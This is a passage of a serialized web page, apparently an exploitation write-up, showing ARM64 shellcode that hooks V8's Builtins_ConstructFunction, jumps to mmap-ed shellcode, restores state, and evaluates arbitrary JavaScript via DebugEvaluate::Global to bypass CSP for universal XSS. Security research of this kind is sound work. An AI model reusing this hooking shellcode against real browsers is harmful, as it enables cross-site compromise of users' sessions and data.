INSTR_SIZE}]\n",{"type":25,"tag":201,"props":141015,"children":141016},{"class":203,"line":82035},[141017],{"type":25,"tag":201,"props":141018,"children":141019},{"emptyLinePlaceholder":17},[141020],{"type":31,"value":496},{"type":25,"tag":201,"props":141022,"children":141023},{"class":203,"line":82048},[141024],{"type":25,"tag":201,"props":141025,"children":141026},{},[141027],{"type":31,"value":140958},{"type":25,"tag":201,"props":141029,"children":141030},{"class":203,"line":82056},[141031],{"type":25,"tag":201,"props":141032,"children":141033},{},[141034],{"type":31,"value":141035},"mov x0, x6\n",{"type":25,"tag":201,"props":141037,"children":141038},{"class":203,"line":82064},[141039],{"type":25,"tag":201,"props":141040,"children":141041},{},[141042],{"type":31,"value":140974},{"type":25,"tag":34,"props":141044,"children":141045},{},[141046,141048,141054,141056,141061,141063,141069],{"type":31,"value":141047},"In the snippet above, ",{"type":25,"tag":115,"props":141049,"children":141051},{"className":141050},[],[141052],{"type":31,"value":141053},"new_compile_instrs",{"type":31,"value":141055}," refers to the instructions written to the beginning of ",{"type":25,"tag":115,"props":141057,"children":141059},{"className":141058},[],[141060],{"type":31,"value":140552},{"type":31,"value":141062}," that invoke the ",{"type":25,"tag":115,"props":141064,"children":141066},{"className":141065},[],[141067],{"type":31,"value":141068},"uxss_sc",{"type":31,"value":141070}," mmap-ed shellcode:",{"type":25,"tag":191,"props":141072,"children":141074},{"code":141073,"language":140605,"meta":7,"className":140606,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[141075],{"type":25,"tag":115,"props":141076,"children":141077},{"__ignoreMap":7},[141078,141086,141093,141101,141109,141116,141124,141132,141139,141147,141155,141162,141170],{"type":25,"tag":201,"props":141079,"children":141080},{"class":203,"line":204},[141081],{"type":25,"tag":201,"props":141082,"children":141083},{},[141084],{"type":31,"value":141085},"bti c\n",{"type":25,"tag":201,"props":141087,"children":141088},{"class":203,"line":226},[141089],{"type":25,"tag":201,"props":141090,"children":141091},{"emptyLinePlaceholder":17},[141092],{"type":31,"value":496},{"type":25,"tag":201,"props":141094,"children":141095},{"class":203,"line":278},[141096],{"type":25,"tag":201,"props":141097,"children":141098},{},[141099],{"type":31,"value":141100},"// store registers that will be overwritten\n",{"type":25,"tag":201,"props":141102,"children":141103},{"class":203,"line":311},[141104],{"type":25,"tag":201,"props":141105,"children":141106},{},[141107],{"type":31,"value":141108},"stp x15, lr, [sp, #-16]!\n",{"type":25,"tag":201,"props":141110,"children":141111},{"class":203,"line":330},[141112],{"type":25,"tag":201,"props":141113,"children":141114},{"emptyLinePlaceholder":17},[141115],{"type":31,"value":496},{"type":25,"tag":201,"props":141117,"children":141118},{"class":203,"line":397},[141119],{"type":25,"tag":201,"props":141120,"children":141121},{},[141122],{"type":31,"value":141123},"// get current rip into x15\n",{"type":25,"tag":201,"props":141125,"children":141126},{"class":203,"line":437},[141127],{"type":25,"tag":201,"props":141128,"children":141129},{},[141130],{"type":31,"value":141131},"adr x15, .\n",{"type":25,"tag":201,"props":141133,"children":141134},{"class":203,"line":464},[141135],{"type":25,"tag":201,"props":141136,"children":141137},{"emptyLinePlaceholder":17},[141138],{"type":31,"value":496},{"type":25,"tag":201,"props":141140,"children":141141},{"class":203,"line":490},[141142],{"type":25,"tag":201,"props":141143,"children":141144},{},[141145],{"type":31,"value":141146},"// load the uxss_sc pointer saved just above new instructions\n",{"type":25,"tag":201,"props":141148,"children":141149},{"class":203,"line":499},[141150],{"type":25,"tag":201,"props":141151,"children":141152},{},[141153],{"type":31,"value":141154},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":25,"tag":201,"props":141156,"children":141157},{"class":203,"line":522},[141158],{"type":25,"tag":201,"props":141159,"children":141160},{"emptyLinePlaceholder":17},[141161],{"type":31,"value":496},{"type":25,"tag":201,"props":141163,"children":141164},{"class":203,"line":531},[141165],{"type":25,"tag":201,"props":141166,"children":141167},{},[141168],{"type":31,"value":141169},"// jump to uxss_sc\n",{"type":25,"tag":201,"props":141171,"children":141172},{"class":203,"line":550},[141173],{"type":25,"tag":201,"props":141174,"children":141175},{},[141176],{"type":31,"value":141177},"blr x15\n",{"type":25,"tag":34,"props":141179,"children":141180},{},[141181,141186,141188,141193],{"type":25,"tag":115,"props":141182,"children":141184},{"className":141183},[],[141185],{"type":31,"value":141068},{"type":31,"value":141187}," is the mmap-ed shellcode invoked by the patched ",{"type":25,"tag":115,"props":141189,"children":141191},{"className":141190},[],[141192],{"type":31,"value":140552},{"type":31,"value":141194}," to execute our XSS payload. Its prologue looks like this:",{"type":25,"tag":191,"props":141196,"children":141198},{"code":141197,"language":140605,"meta":7,"className":140606,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[141199],{"type":25,"tag":115,"props":141200,"children":141201},{"__ignoreMap":7},[141202,141209,141216,141224,141232,141240,141248,141256,141264,141272,141280,141288,141296,141304,141312,141320,141328,141336,141344],{"type":25,"tag":201,"props":141203,"children":141204},{"class":203,"line":204},[141205],{"type":25,"tag":201,"props":141206,"children":141207},{},[141208],{"type":31,"value":141085},{"type":25,"tag":201,"props":141210,"children":141211},{"class":203,"line":226},[141212],{"type":25,"tag":201,"props":141213,"children":141214},{"emptyLinePlaceholder":17},[141215],{"type":31,"value":496},{"type":25,"tag":201,"props":141217,"children":141218},{"class":203,"line":278},[141219],{"type":25,"tag":201,"props":141220,"children":141221},{},[141222],{"type":31,"value":141223},"// Save full register context\n",{"type":25,"tag":201,"props":141225,"children":141226},{"class":203,"line":311},[141227],{"type":25,"tag":201,"props":141228,"children":141229},{},[141230],{"type":31,"value":141231},"stp x0,  x1,  [sp, #-16]!\n",{"type":25,"tag":201,"props":141233,"children":141234},{"class":203,"line":330},[141235],{"type":25,"tag":201,"props":141236,"children":141237},{},[141238],{"type":31,"value":141239},"stp x2,  x3,  [sp, #-16]!\n",{"type":25,"tag":201,"props":141241,"children":141242},{"class":203,"line":397},[141243],{"type":25,"tag":201,"props":141244,"children":141245},{},[141246],{"type":31,"value":141247},"stp x4,  x5,  [sp, #-16]!\n",{"type":25,"tag":201,"props":141249,"children":141250},{"class":203,"line":437},[141251],{"type":25,"tag":201,"props":141252,"children":141253},{},[141254],{"type":31,"value":141255},"stp x6,  x7,  [sp, #-16]!\n",{"type":25,"tag":201,"props":141257,"children":141258},{"class":203,"line":464},[141259],{"type":25,"tag":201,"props":141260,"children":141261},{},[141262],{"type":31,"value":141263},"stp x8,  x9,  [sp, #-16]!\n",{"type":25,"tag":201,"props":141265,"children":141266},{"class":203,"line":490},[141267],{"type":25,"tag":201,"props":141268,"children":141269},{},[141270],{"type":31,"value":141271},"stp x10, x11, [sp, #-16]!\n",{"type":25,"tag":201,"props":141273,"children":141274},{"class":203,"line":499},[141275],{"type":25,"tag":201,"props":141276,"children":141277},{},[141278],{"type":31,"value":141279},"stp x12, x13, [sp, #-16]!\n",{"type":25,"tag":201,"props":141281,"children":141282},{"class":203,"line":522},[141283],{"type":25,"tag":201,"props":141284,"children":141285},{},[141286],{"type":31,"value":141287},"stp x14, x15, [sp, #-16]!\n",{"type":25,"tag":201,"props":141289,"children":141290},{"class":203,"line":531},[141291],{"type":25,"tag":201,"props":141292,"children":141293},{},[141294],{"type":31,"value":141295},"stp x16, x17, [sp, #-16]!\n",{"type":25,"tag":201,"props":141297,"children":141298},{"class":203,"line":550},[141299],{"type":25,"tag":201,"props":141300,"children":141301},{},[141302],{"type":31,"value":141303},"stp x18, x19, [sp, #-16]!\n",{"type":25,"tag":201,"props":141305,"children":141306},{"class":203,"line":563},[141307],{"type":25,"tag":201,"props":141308,"children":141309},{},[141310],{"type":31,"value":141311},"stp x20, x21, [sp, #-16]!\n",{"type":25,"tag":201,"props":141313,"children":141314},{"class":203,"line":572},[141315],{"type":25,"tag":201,"props":141316,"children":141317},{},[141318],{"type":31,"value":141319},"stp x22, x23, [sp, #-16]!\n",{"type":25,"tag":201,"props":141321,"children":141322},{"class":203,"line":590},[141323],{"type":25,"tag":201,"props":141324,"children":141325},{},[141326],{"type":31,"value":141327},"stp x24, x25, [sp, #-16]!\n",{"type":25,"tag":201,"props":141329,"children":141330},{"class":203,"line":608},[141331],{"type":25,"tag":201,"props":141332,"children":141333},{},[141334],{"type":31,"value":141335},"stp x26, x27, [sp, #-16]!\n",{"type":25,"tag":201,"props":141337,"children":141338},{"class":203,"line":617},[141339],{"type":25,"tag":201,"props":141340,"children":141341},{},[141342],{"type":31,"value":141343},"stp x28, x29, [sp, #-16]!\n",{"type":25,"tag":201,"props":141345,"children":141346},{"class":203,"line":625},[141347],{"type":25,"tag":201,"props":141348,"children":141349},{},[141350],{"type":31,"value":141351},"str lr, [sp, #-16]!\n",{"type":25,"tag":34,"props":141353,"children":141354},{},[141355],{"type":31,"value":141356},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":25,"tag":34,"props":141358,"children":141359},{},[141360,141362,141367],{"type":31,"value":141361},"The epilogue restores all saved registers, restores the original instructions in ",{"type":25,"tag":115,"props":141363,"children":141365},{"className":141364},[],[141366],{"type":31,"value":140552},{"type":31,"value":141368},", and then returns execution to its beginning:",{"type":25,"tag":191,"props":141370,"children":141372},{"code":141371,"language":140605,"meta":7,"className":140606,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[141373],{"type":25,"tag":115,"props":141374,"children":141375},{"__ignoreMap":7},[141376,141384,141392,141400,141408,141416,141423,141430,141438,141445,141452,141460,141468,141476,141484,141492,141500,141508,141516,141524,141532,141540,141548,141556,141564,141572,141580,141587,141595,141603,141611,141619,141627,141634,141642,141650,141657],{"type":25,"tag":201,"props":141377,"children":141378},{"class":203,"line":204},[141379],{"type":25,"tag":201,"props":141380,"children":141381},{},[141382],{"type":31,"value":141383},"// restore original instructions of Builtins_ConstructFunction\n",{"type":25,"tag":201,"props":141385,"children":141386},{"class":203,"line":226},[141387],{"type":25,"tag":201,"props":141388,"children":141389},{},[141390],{"type":31,"value":141391},"ldr lr, [sp], #16\n",{"type":25,"tag":201,"props":141393,"children":141394},{"class":203,"line":278},[141395],{"type":25,"tag":201,"props":141396,"children":141397},{},[141398],{"type":31,"value":141399},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":25,"tag":201,"props":141401,"children":141402},{"class":203,"line":311},[141403],{"type":25,"tag":201,"props":141404,"children":141405},{},[141406],{"type":31,"value":141407},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":25,"tag":201,"props":141409,"children":141410},{"class":203,"line":330},[141411],{"type":25,"tag":201,"props":141412,"children":141413},{},[141414],{"type":31,"value":141415},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":25,"tag":201,"props":141417,"children":141418},{"class":203,"line":397},[141419],{"type":25,"tag":201,"props":141420,"children":141421},{"emptyLinePlaceholder":17},[141422],{"type":31,"value":496},{"type":25,"tag":201,"props":141424,"children":141425},{"class":203,"line":437},[141426],{"type":25,"tag":201,"props":141427,"children":141428},{},[141429],{"type":31,"value":140958},{"type":25,"tag":201,"props":141431,"children":141432},{"class":203,"line":464},[141433],{"type":25,"tag":201,"props":141434,"children":141435},{},[141436],{"type":31,"value":141437},"mov x0, lr\n",{"type":25,"tag":201,"props":141439,"children":141440},{"class":203,"line":490},[141441],{"type":25,"tag":201,"props":141442,"children":141443},{},[141444],{"type":31,"value":140974},{"type":25,"tag":201,"props":141446,"children":141447},{"class":203,"line":499},[141448],{"type":25,"tag":201,"props":141449,"children":141450},{"emptyLinePlaceholder":17},[141451],{"type":31,"value":496},{"type":25,"tag":201,"props":141453,"children":141454},{"class":203,"line":522},[141455],{"type":25,"tag":201,"props":141456,"children":141457},{},[141458],{"type":31,"value":141459},"// restore original registers\n",{"type":25,"tag":201,"props":141461,"children":141462},{"class":203,"line":531},[141463],{"type":25,"tag":201,"props":141464,"children":141465},{},[141466],{"type":31,"value":141467},"ldp x28, x29, [sp], #16\n",{"type":25,"tag":201,"props":141469,"children":141470},{"class":203,"line":550},[141471],{"type":25,"tag":201,"props":141472,"children":141473},{},[141474],{"type":31,"value":141475},"ldp x26, x27, [sp], #16\n",{"type":25,"tag":201,"props":141477,"children":141478},{"class":203,"line":563},[141479],{"type":25,"tag":201,"props":141480,"children":141481},{},[141482],{"type":31,"value":141483},"ldp x24, x25, [sp], #16\n",{"type":25,"tag":201,"props":141485,"children":141486},{"class":203,"line":572},[141487],{"type":25,"tag":201,"props":141488,"children":141489},{},[141490],{"type":31,"value":141491},"ldp x22, x23, [sp], #16\n",{"type":25,"tag":201,"props":141493,"children":141494},{"class":203,"line":590},[141495],{"type":25,"tag":201,"props":141496,"children":141497},{},[141498],{"type":31,"value":141499},"ldp x20, x21, [sp], #16\n",{"type":25,"tag":201,"props":141501,"children":141502},{"class":203,"line":608},[141503],{"type":25,"tag":201,"props":141504,"children":141505},{},[141506],{"type":31,"value":141507},"ldp x18, x19, [sp], #16\n",{"type":25,"tag":201,"props":141509,"children":141510},{"class":203,"line":617},[141511],{"type":25,"tag":201,"props":141512,"children":141513},{},[141514],{"type":31,"value":141515},"ldp x16, x17, [sp], #16\n",{"type":25,"tag":201,"props":141517,"children":141518},{"class":203,"line":625},[141519],{"type":25,"tag":201,"props":141520,"children":141521},{},[141522],{"type":31,"value":141523},"ldp x14, x15, [sp], #16\n",{"type":25,"tag":201,"props":141525,"children":141526},{"class":203,"line":642},[141527],{"type":25,"tag":201,"props":141528,"children":141529},{},[141530],{"type":31,"value":141531},"ldp x12, x13, [sp], #16\n",{"type":25,"tag":201,"props":141533,"children":141534},{"class":203,"line":659},[141535],{"type":25,"tag":201,"props":141536,"children":141537},{},[141538],{"type":31,"value":141539},"ldp x10, x11, [sp], #16\n",{"type":25,"tag":201,"props":141541,"children":141542},{"class":203,"line":667},[141543],{"type":25,"tag":201,"props":141544,"children":141545},{},[141546],{"type":31,"value":141547},"ldp x8,  x9,  [sp], #16\n",{"type":25,"tag":201,"props":141549,"children":141550},{"class":203,"line":676},[141551],{"type":25,"tag":201,"props":141552,"children":141553},{},[141554],{"type":31,"value":141555},"ldp x6,  x7,  [sp], #16\n",{"type":25,"tag":201,"props":141557,"children":141558},{"class":203,"line":694},[141559],{"type":25,"tag":201,"props":141560,"children":141561},{},[141562],{"type":31,"value":141563},"ldp x4,  x5,  [sp], #16\n",{"type":25,"tag":201,"props":141565,"children":141566},{"class":203,"line":707},[141567],{"type":25,"tag":201,"props":141568,"children":141569},{},[141570],{"type":31,"value":141571},"ldp x2,  x3,  [sp], #16\n",{"type":25,"tag":201,"props":141573,"children":141574},{"class":203,"line":715},[141575],{"type":25,"tag":201,"props":141576,"children":141577},{},[141578],{"type":31,"value":141579},"ldp x0,  x1,  [sp], #16\n",{"type":25,"tag":201,"props":141581,"children":141582},{"class":203,"line":732},[141583],{"type":25,"tag":201,"props":141584,"children":141585},{"emptyLinePlaceholder":17},[141586],{"type":31,"value":496},{"type":25,"tag":201,"props":141588,"children":141589},{"class":203,"line":749},[141590],{"type":25,"tag":201,"props":141591,"children":141592},{},[141593],{"type":31,"value":141594},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":25,"tag":201,"props":141596,"children":141597},{"class":203,"line":757},[141598],{"type":25,"tag":201,"props":141599,"children":141600},{},[141601],{"type":31,"value":141602},"// it immediately, so we can clobber and use it as a return register.\n",{"type":25,"tag":201,"props":141604,"children":141605},{"class":203,"line":765},[141606],{"type":25,"tag":201,"props":141607,"children":141608},{},[141609],{"type":31,"value":141610},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":25,"tag":201,"props":141612,"children":141613},{"class":203,"line":783},[141614],{"type":25,"tag":201,"props":141615,"children":141616},{},[141617],{"type":31,"value":141618},"// where to return\n",{"type":25,"tag":201,"props":141620,"children":141621},{"class":203,"line":792},[141622],{"type":25,"tag":201,"props":141623,"children":141624},{},[141625],{"type":31,"value":141626},"mov x4, lr\n",{"type":25,"tag":201,"props":141628,"children":141629},{"class":203,"line":801},[141630],{"type":25,"tag":201,"props":141631,"children":141632},{"emptyLinePlaceholder":17},[141633],{"type":31,"value":496},{"type":25,"tag":201,"props":141635,"children":141636},{"class":203,"line":809},[141637],{"type":25,"tag":201,"props":141638,"children":141639},{},[141640],{"type":31,"value":141641},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":25,"tag":201,"props":141643,"children":141644},{"class":203,"line":857},[141645],{"type":25,"tag":201,"props":141646,"children":141647},{},[141648],{"type":31,"value":141649},"ldp x15, lr, [sp], #16\n",{"type":25,"tag":201,"props":141651,"children":141652},{"class":203,"line":865},[141653],{"type":25,"tag":201,"props":141654,"children":141655},{"emptyLinePlaceholder":17},[141656],{"type":31,"value":496},{"type":25,"tag":201,"props":141658,"children":141659},{"class":203,"line":931},[141660],{"type":25,"tag":201,"props":141661,"children":141662},{},[141663],{"type":31,"value":141664},"ret x4\n",{"type":25,"tag":34,"props":141666,"children":141667},{},[141668,141670,141675,141677,141682,141684,141690],{"type":31,"value":141669},"At this point, we have successfully hooked ",{"type":25,"tag":115,"props":141671,"children":141673},{"className":141672},[],[141674],{"type":31,"value":140552},{"type":31,"value":141676}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":25,"tag":115,"props":141678,"children":141680},{"className":141679},[],[141681],{"type":31,"value":141068},{"type":31,"value":141683}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":25,"tag":115,"props":141685,"children":141687},{"className":141686},[],[141688],{"type":31,"value":141689},"Builtins_GlobalEval",{"type":31,"value":80},{"type":25,"tag":34,"props":141692,"children":141693},{},[141694,141699,141701,141706,141708,141713],{"type":25,"tag":115,"props":141695,"children":141697},{"className":141696},[],[141698],{"type":31,"value":141689},{"type":31,"value":141700}," takes a single ",{"type":25,"tag":115,"props":141702,"children":141704},{"className":141703},[],[141705],{"type":31,"value":49003},{"type":31,"value":141707}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":25,"tag":115,"props":141709,"children":141711},{"className":141710},[],[141712],{"type":31,"value":38618},{"type":31,"value":5997},{"type":25,"tag":191,"props":141715,"children":141717},{"code":141716,"language":30595,"meta":7,"className":30593,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[141718],{"type":25,"tag":115,"props":141719,"children":141720},{"__ignoreMap":7},[141721,141734,141741,141748,141791,141813,141839],{"type":25,"tag":201,"props":141722,"children":141723},{"class":203,"line":204},[141724,141729],{"type":25,"tag":201,"props":141725,"children":141726},{"style":214},[141727],{"type":31,"value":141728},"BUILTIN",{"type":25,"tag":201,"props":141730,"children":141731},{"style":220},[141732],{"type":31,"value":141733},"(GlobalEval) {\n",{"type":25,"tag":201,"props":141735,"children":141736},{"class":203,"line":226},[141737],{"type":25,"tag":201,"props":141738,"children":141739},{"style":220},[141740],{"type":31,"value":128237},{"type":25,"tag":201,"props":141742,"children":141743},{"class":203,"line":278},[141744],{"type":25,"tag":201,"props":141745,"children":141746},{"emptyLinePlaceholder":17},[141747],{"type":31,"value":496},{"type":25,"tag":201,"props":141749,"children":141750},{"class":203,"line":311},[141751,141756,141761,141765,141770,141774,141778,141782,141787],{"type":25,"tag":201,"props":141752,"children":141753},{"style":220},[141754],{"type":31,"value":141755},"  if (!Builtins::",{"type":25,"tag":201,"props":141757,"children":141758},{"style":4925},[141759],{"type":31,"value":141760},"AllowDynamicFunction",{"type":25,"tag":201,"props":141762,"children":141763},{"style":220},[141764],{"type":31,"value":298},{"type":25,"tag":201,"props":141766,"children":141767},{"style":4925},[141768],{"type":31,"value":141769},"isolate",{"type":25,"tag":201,"props":141771,"children":141772},{"style":220},[141773],{"type":31,"value":919},{"type":25,"tag":201,"props":141775,"children":141776},{"style":4925},[141777],{"type":31,"value":116162},{"type":25,"tag":201,"props":141779,"children":141780},{"style":220},[141781],{"type":31,"value":919},{"type":25,"tag":201,"props":141783,"children":141784},{"style":4925},[141785],{"type":31,"value":141786},"target_global_proxy",{"type":25,"tag":201,"props":141788,"children":141789},{"style":220},[141790],{"type":31,"value":4141},{"type":25,"tag":201,"props":141792,"children":141793},{"class":203,"line":330},[141794,141799,141803,141808],{"type":25,"tag":201,"props":141795,"children":141796},{"style":246},[141797],{"type":31,"value":141798},"    isolate",{"type":25,"tag":201,"props":141800,"children":141801},{"style":220},[141802],{"type":31,"value":15259},{"type":25,"tag":201,"props":141804,"children":141805},{"style":214},[141806],{"type":31,"value":141807},"CountUsage",{"type":25,"tag":201,"props":141809,"children":141810},{"style":220},[141811],{"type":31,"value":141812},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":25,"tag":201,"props":141814,"children":141815},{"class":203,"line":397},[141816,141820,141825,141830,141835],{"type":25,"tag":201,"props":141817,"children":141818},{"style":230},[141819],{"type":31,"value":18486},{"type":25,"tag":201,"props":141821,"children":141822},{"style":214},[141823],{"type":31,"value":141824}," ReadOnlyRoots",{"type":25,"tag":201,"props":141826,"children":141827},{"style":220},[141828],{"type":31,"value":141829},"(isolate).",{"type":25,"tag":201,"props":141831,"children":141832},{"style":214},[141833],{"type":31,"value":141834},"undefined_value",{"type":25,"tag":201,"props":141836,"children":141837},{"style":220},[141838],{"type":31,"value":1985},{"type":25,"tag":201,"props":141840,"children":141841},{"class":203,"line":437},[141842],{"type":25,"tag":201,"props":141843,"children":141844},{"style":220},[141845],{"type":31,"value":1178},{"type":25,"tag":34,"props":141847,"children":141848},{},[141849,141851,141856],{"type":31,"value":141850},"This means we would need to patch the function further to ensure it never enters this ",{"type":25,"tag":115,"props":141852,"children":141854},{"className":141853},[],[141855],{"type":31,"value":4105},{"type":31,"value":141857}," block.",{"type":25,"tag":34,"props":141859,"children":141860},{},[141861],{"type":31,"value":141862},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":25,"tag":191,"props":141864,"children":141866},{"code":141865,"language":30595,"meta":7,"className":30593,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[141867],{"type":25,"tag":115,"props":141868,"children":141869},{"__ignoreMap":7},[141870,141881,141888,141895,141902,141910,141922,141930,141947,141977,141985,141997],{"type":25,"tag":201,"props":141871,"children":141872},{"class":203,"line":204},[141873,141877],{"type":25,"tag":201,"props":141874,"children":141875},{"style":214},[141876],{"type":31,"value":141728},{"type":25,"tag":201,"props":141878,"children":141879},{"style":220},[141880],{"type":31,"value":141733},{"type":25,"tag":201,"props":141882,"children":141883},{"class":203,"line":226},[141884],{"type":25,"tag":201,"props":141885,"children":141886},{"emptyLinePlaceholder":17},[141887],{"type":31,"value":496},{"type":25,"tag":201,"props":141889,"children":141890},{"class":203,"line":278},[141891],{"type":25,"tag":201,"props":141892,"children":141893},{"style":220},[141894],{"type":31,"value":128237},{"type":25,"tag":201,"props":141896,"children":141897},{"class":203,"line":311},[141898],{"type":25,"tag":201,"props":141899,"children":141900},{"emptyLinePlaceholder":17},[141901],{"type":31,"value":496},{"type":25,"tag":201,"props":141903,"children":141904},{"class":203,"line":330},[141905],{"type":25,"tag":201,"props":141906,"children":141907},{"style":220},[141908],{"type":31,"value":141909},"  DirectHandle\u003CJSFunction> function;\n",{"type":25,"tag":201,"props":141911,"children":141912},{"class":203,"line":397},[141913,141918],{"type":25,"tag":201,"props":141914,"children":141915},{"style":214},[141916],{"type":31,"value":141917},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":25,"tag":201,"props":141919,"children":141920},{"style":220},[141921],{"type":31,"value":4970},{"type":25,"tag":201,"props":141923,"children":141924},{"class":203,"line":437},[141925],{"type":25,"tag":201,"props":141926,"children":141927},{"style":220},[141928],{"type":31,"value":141929},"      isolate, function,\n",{"type":25,"tag":201,"props":141931,"children":141932},{"class":203,"line":464},[141933,141938,141943],{"type":25,"tag":201,"props":141934,"children":141935},{"style":220},[141936],{"type":31,"value":141937},"      Compiler::",{"type":25,"tag":201,"props":141939,"children":141940},{"style":214},[141941],{"type":31,"value":141942},"GetFunctionFromValidatedString",{"type":25,"tag":201,"props":141944,"children":141945},{"style":220},[141946],{"type":31,"value":4970},{"type":25,"tag":201,"props":141948,"children":141949},{"class":203,"line":490},[141950,141955,141959,141963,141967,141972],{"type":25,"tag":201,"props":141951,"children":141952},{"style":214},[141953],{"type":31,"value":141954},"          direct_handle",{"type":25,"tag":201,"props":141956,"children":141957},{"style":220},[141958],{"type":31,"value":298},{"type":25,"tag":201,"props":141960,"children":141961},{"style":246},[141962],{"type":31,"value":116162},{"type":25,"tag":201,"props":141964,"children":141965},{"style":220},[141966],{"type":31,"value":15259},{"type":25,"tag":201,"props":141968,"children":141969},{"style":214},[141970],{"type":31,"value":141971},"native_context",{"type":25,"tag":201,"props":141973,"children":141974},{"style":220},[141975],{"type":31,"value":141976},"(), isolate), source,\n",{"type":25,"tag":201,"props":141978,"children":141979},{"class":203,"line":499},[141980],{"type":25,"tag":201,"props":141981,"children":141982},{"style":220},[141983],{"type":31,"value":141984},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":25,"tag":201,"props":141986,"children":141987},{"class":203,"line":522},[141988,141993],{"type":25,"tag":201,"props":141989,"children":141990},{"style":214},[141991],{"type":31,"value":141992},"  RETURN_RESULT_OR_FAILURE",{"type":25,"tag":201,"props":141994,"children":141995},{"style":220},[141996],{"type":31,"value":4970},{"type":25,"tag":201,"props":141998,"children":141999},{"class":203,"line":531},[142000,142005,142010],{"type":25,"tag":201,"props":142001,"children":142002},{"style":220},[142003],{"type":31,"value":142004},"      isolate, Execution::",{"type":25,"tag":201,"props":142006,"children":142007},{"style":214},[142008],{"type":31,"value":142009},"Call",{"type":25,"tag":201,"props":142011,"children":142012},{"style":220},[142013],{"type":31,"value":142014},"(isolate, function, target_global_proxy, {}));\n",{"type":25,"tag":34,"props":142016,"children":142017},{},[142018,142020,142025,142027,142033,142035,142041,142043,142049],{"type":31,"value":142019},"But determining the correct ",{"type":25,"tag":115,"props":142021,"children":142023},{"className":142022},[],[142024],{"type":31,"value":116162},{"type":31,"value":142026}," value, obtaining ",{"type":25,"tag":115,"props":142028,"children":142030},{"className":142029},[],[142031],{"type":31,"value":142032},"target->native_context()",{"type":31,"value":142034},", and locating the ",{"type":25,"tag":115,"props":142036,"children":142038},{"className":142037},[],[142039],{"type":31,"value":142040},"direct_handle",{"type":31,"value":142042}," function, just to make a proper call to ",{"type":25,"tag":115,"props":142044,"children":142046},{"className":142045},[],[142047],{"type":31,"value":142048},"Compiler::GetFunctionFromValidatedString",{"type":31,"value":142050},", seemed unnecessarily cumbersome.",{"type":25,"tag":34,"props":142052,"children":142053},{},[142054,142056,142062],{"type":31,"value":142055},"Instead, we found a much simpler option with no security checks: ",{"type":25,"tag":115,"props":142057,"children":142059},{"className":142058},[],[142060],{"type":31,"value":142061},"DebugEvaluate::Global",{"type":31,"value":142063},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":25,"tag":34,"props":142065,"children":142066},{},[142067],{"type":31,"value":142068},"For our needs, it is straightforward to call:",{"type":25,"tag":191,"props":142070,"children":142072},{"code":142071,"language":30595,"meta":7,"className":30593,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode 